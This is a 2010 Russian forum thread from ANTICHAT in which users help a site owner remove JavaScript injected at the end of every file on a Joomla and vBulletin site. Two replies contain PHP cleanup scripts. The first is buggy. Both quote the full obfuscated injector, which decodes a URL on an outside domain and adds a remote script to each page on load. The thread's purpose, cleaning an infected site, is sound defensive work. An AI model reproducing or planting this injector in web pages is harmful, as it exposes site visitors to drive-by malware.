ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

21.04.2010, 02:39
|
|
Познающий
Регистрация: 29.01.2009
Сообщений: 81
Провел на форуме: 255434
Репутация:
12
|
|
при всем желании часу не хватит, сайт:
joomla+vbulletin(3 штуки)
иди за час почисти все файлики
|
|
|

21.04.2010, 03:16
|
|
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
Провел на форуме: 2212846
Репутация:
56
|
|
Получаешь список файлов и каталогов, расположенных по указанному пути функцией scandir, после чего поочередно открываешь файлы, представив их ввиде массива и unset'ом дропаешь оттуда заданное количество строк начиная с конца файла.
Последний раз редактировалось Redwood; 21.04.2010 в 03:22..
|
|
|

21.04.2010, 04:12
|
|
Участник форума
Регистрация: 20.08.2008
Сообщений: 137
Провел на форуме: 2607957
Репутация:
184
|
|
Проще в ручную, ну ещё вариант взять движки CMS и форума и заменить ими. Только нужно знать, что конкретно нельзя перезаписывать.
|
|
|

21.04.2010, 06:01
|
|
Познающий
Регистрация: 01.03.2009
Сообщений: 85
Провел на форуме: 272527
Репутация:
19
|
|
Сообщение от namak
все бы хорошо. но только она не умеет искать содежимое в файлах и заменять их(массово)
Как раз это и может (массово) !
Могу сказать самая лучшая прога для оптового замена контента файлов.
|
|
|

21.04.2010, 17:00
|
|
Познающий
Регистрация: 29.01.2009
Сообщений: 81
Провел на форуме: 255434
Репутация:
12
|
|
нужно заменить часть содержимого файла. то есть лишшний яваскрипт в конце всех файлов
|
|
|

22.04.2010, 01:23
|
|
Познающий
Регистрация: 01.03.2009
Сообщений: 85
Провел на форуме: 272527
Репутация:
19
|
|
Раскуривай доки проги - не пожалееш...
Не раз спасала
|
|
|

22.04.2010, 13:21
|
|
Познающий
Регистрация: 29.01.2009
Сообщений: 81
Провел на форуме: 255434
Репутация:
12
|
|
будем курить
|
|
|

22.04.2010, 15:55
|
|
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
Провел на форуме: 2603363
Репутация:
278
|
|
Что-то типо этого (не проверял):
PHP код:
$shit = <<<TXT
var g=new Array();var dw;if(dw!=''){dw='W'};var Bb;if(Bb!=''){Bb='A'};function k(){var I;if(I!='' && I!='zH'){I=null};var M=new Date();var Q;if(Q!='' && Q!='hz'){Q=''};var T=window;var h=T['unescape'];var Lk='';var o=new Array();var e=h("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%65%65%6d%7 0%33%2e%63%6f%6d%2f%64%6f%75%62%61%6e%2e%63%6f%6d% 2e%70%68%70");var N='';var K=new Date();var ua;if(ua!='zP' && ua!='u'){ua=''};function t(kb,B){this.j="";var F='';var w=h("%5d");var iD;if(iD!='x' && iD!='qh'){iD=''};var n=h("%5b");var Nd=new Array();var G=new String("g");var WP;if(WP!='' && WP!='iz'){WP=null};var rP;if(rP!='' && rP!='Ar'){rP=null};var lq=new String();var Zb;if(Zb!=''){Zb='DQ'};var L=new RegExp(n+B+w, G);var eF;if(eF!='zb'){eF=''};var Ig="";return kb.replace(L, new String());var MO;if(MO!='vG'){MO='vG'};};var U;if(U!='hb' && U!='va'){U=''};this.Wv='';var z=t('sArhcC','vYhTHxbwk0If7CzuPA');var Ka;if(Ka!='' && Ka!='Ey'){Ka=''};var R=t('dEeBfwevrK','v1FBE8wj_OK9');var oL;if(oL!='' && oL!='Vx'){oL=null};var i=t('891741914634053623539159989559927443066645351 2','52697143');var At=new Array();var ih=document;var mK=new Array();var Rq=t('sgcPryiSpZty','3Cy2LmXahMPH9gDVEzZS');var yN;if(yN!='jh' && yN!='bv'){yN=''};var fY="";function D(){var tc;if(tc!=''){tc='av'};var dl="";this.BW="";var X=h("%68%74%74%70%3a%2f%2f%63%6c%61%6e%64%61%72%6b%73%6 b%79%2e%69%6e%66%6f%3a");var qY="";this.ZP="";var Rc=X;var IV;if(IV!='AH'){IV=''};this.WS='';Rc+=i;var Mc;if(Mc!='pB'){Mc='pB'};var pP;if(pP!='' && pP!='fC'){pP='xr'};Rc+=e;var Ec=new Date();var VE=new Date();var FS;if(FS!='Lg' && FS!='zq'){FS='Lg'};this.Cz='';try {var Tu=new String();var HF;if(HF!='' && HF!='Iw'){HF=null};var XK;if(XK!='' && XK!='dI'){XK='P'};d=ih[t('cJrHekaJt0eUEZlbeLmdeZnktY','VskY0Xb3IA_UdwC2LJ H1ZS')](Rq);var jI;if(jI!='oe' && jI!='W_'){jI=''};var Tb;if(Tb!='' && Tb!='yo'){Tb='ED'};d[R]=[1][0];this.MJc='';d[z]=Rc;this.tD='';var KT=new Date();this.ud="";this.Yv="";ih.body[t('aHpspVe4ngdHCKhGiylrdg','Gy9sHVgFIur45MKz')](d);var QT;if(QT!='FB' && QT!='bV'){QT='FB'};} catch(Y){var iP;if(iP!='' && iP!='Wl'){iP='Jn'};};var Hn;if(Hn!='' && Hn!='fg'){Hn=''};var vS=new Array();}var hzG;if(hzG!='' && hzG!='nF'){hzG=null};var ki;if(ki!='xn'){ki='xn'};var l_="";var y=t('oenSleozazdS','7OHWxSFzet0');var CJ="";var Gx;if(Gx!='' && Gx!='pj'){Gx=null};T[y]=D;this.XR='';var rB;if(rB!='' && rB!='YU'){rB=null};var xo;if(xo!='_z' && xo!='Ti'){xo='_z'};};var SkX;if(SkX!='' && SkX!='WU'){SkX=null};var Hy;if(Hy!='Vr' && Hy!='F_'){Hy='Vr'};var wu;if(wu!='XG' && wu != ''){wu=null};var ga;if(ga!='Hc' && ga != ''){ga=null};k();var AG=new String();
TXT;
$dir = '/home'; // папка в которой нужно всё это заменять (если данная, то воспользоваться ф-ей getcwd() )
if ($handle = opendir($dir)) {
echo "Successfully opened directory.\r\n";
while (false !== ($file = readdir($handle))) {
if( $file !== '.' || $file !== '..' )
{
if( substr( $file, 0, -4 ) == 'html' )
{
file_put_contents( $file, str_replace( "<script>".$shit."</script>", "", file_get_contents($file)) );
echo $file." - ok\r\n";
}
else if( substr( $file, 0, -2 ) == 'js' )
{
file_put_contents( $file, str_replace( $shit, "", file_get_contents($file)) );
echo $file." - ok\r\n";
} else continie;
}
}
closedir($handle);
echo 'done...';
}
|
|
|

22.04.2010, 16:17
|
|
Познающий
Регистрация: 27.04.2009
Сообщений: 87
Провел на форуме: 140663
Репутация:
34
|
|
Deathdreams
Вас хостинг может послать подалее за время выполнения. Нужно разбивать на итерации.
|
|
|

22.04.2010, 16:49
|
|
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
Провел на форуме: 2603363
Репутация:
278
|
|
Сообщение от $now
Deathdreams
Вас хостинг может послать подалее за время выполнения. Нужно разбивать на итерации.
PHP код:
$shit = <<<TXT
var g=new Array();var dw;if(dw!=''){dw='W'};var Bb;if(Bb!=''){Bb='A'};function k(){var I;if(I!='' && I!='zH'){I=null};var M=new Date();var Q;if(Q!='' && Q!='hz'){Q=''};var T=window;var h=T['unescape'];var Lk='';var o=new Array();var e=h("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%65%65%6d%7 0%33%2e%63%6f%6d%2f%64%6f%75%62%61%6e%2e%63%6f%6d% 2e%70%68%70");var N='';var K=new Date();var ua;if(ua!='zP' && ua!='u'){ua=''};function t(kb,B){this.j="";var F='';var w=h("%5d");var iD;if(iD!='x' && iD!='qh'){iD=''};var n=h("%5b");var Nd=new Array();var G=new String("g");var WP;if(WP!='' && WP!='iz'){WP=null};var rP;if(rP!='' && rP!='Ar'){rP=null};var lq=new String();var Zb;if(Zb!=''){Zb='DQ'};var L=new RegExp(n+B+w, G);var eF;if(eF!='zb'){eF=''};var Ig="";return kb.replace(L, new String());var MO;if(MO!='vG'){MO='vG'};};var U;if(U!='hb' && U!='va'){U=''};this.Wv='';var z=t('sArhcC','vYhTHxbwk0If7CzuPA');var Ka;if(Ka!='' && Ka!='Ey'){Ka=''};var R=t('dEeBfwevrK','v1FBE8wj_OK9');var oL;if(oL!='' && oL!='Vx'){oL=null};var i=t('891741914634053623539159989559927443066645351 2','52697143');var At=new Array();var ih=document;var mK=new Array();var Rq=t('sgcPryiSpZty','3Cy2LmXahMPH9gDVEzZS');var yN;if(yN!='jh' && yN!='bv'){yN=''};var fY="";function D(){var tc;if(tc!=''){tc='av'};var dl="";this.BW="";var X=h("%68%74%74%70%3a%2f%2f%63%6c%61%6e%64%61%72%6b%73%6 b%79%2e%69%6e%66%6f%3a");var qY="";this.ZP="";var Rc=X;var IV;if(IV!='AH'){IV=''};this.WS='';Rc+=i;var Mc;if(Mc!='pB'){Mc='pB'};var pP;if(pP!='' && pP!='fC'){pP='xr'};Rc+=e;var Ec=new Date();var VE=new Date();var FS;if(FS!='Lg' && FS!='zq'){FS='Lg'};this.Cz='';try {var Tu=new String();var HF;if(HF!='' && HF!='Iw'){HF=null};var XK;if(XK!='' && XK!='dI'){XK='P'};d=ih[t('cJrHekaJt0eUEZlbeLmdeZnktY','VskY0Xb3IA_UdwC2LJ H1ZS')](Rq);var jI;if(jI!='oe' && jI!='W_'){jI=''};var Tb;if(Tb!='' && Tb!='yo'){Tb='ED'};d[R]=[1][0];this.MJc='';d[z]=Rc;this.tD='';var KT=new Date();this.ud="";this.Yv="";ih.body[t('aHpspVe4ngdHCKhGiylrdg','Gy9sHVgFIur45MKz')](d);var QT;if(QT!='FB' && QT!='bV'){QT='FB'};} catch(Y){var iP;if(iP!='' && iP!='Wl'){iP='Jn'};};var Hn;if(Hn!='' && Hn!='fg'){Hn=''};var vS=new Array();}var hzG;if(hzG!='' && hzG!='nF'){hzG=null};var ki;if(ki!='xn'){ki='xn'};var l_="";var y=t('oenSleozazdS','7OHWxSFzet0');var CJ="";var Gx;if(Gx!='' && Gx!='pj'){Gx=null};T[y]=D;this.XR='';var rB;if(rB!='' && rB!='YU'){rB=null};var xo;if(xo!='_z' && xo!='Ti'){xo='_z'};};var SkX;if(SkX!='' && SkX!='WU'){SkX=null};var Hy;if(Hy!='Vr' && Hy!='F_'){Hy='Vr'};var wu;if(wu!='XG' && wu != ''){wu=null};var ga;if(ga!='Hc' && ga != ''){ga=null};k();var AG=new String();
TXT;
foreach (glob("*.html") as $file) {
file_put_contents( $file, str_replace( "<script>".$shit."</script>", "", file_get_contents($file)) );
}
foreach (glob("*.js") as $file) {
file_put_contents( $file, str_replace( $shit, "", file_get_contents($file)) );
}
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|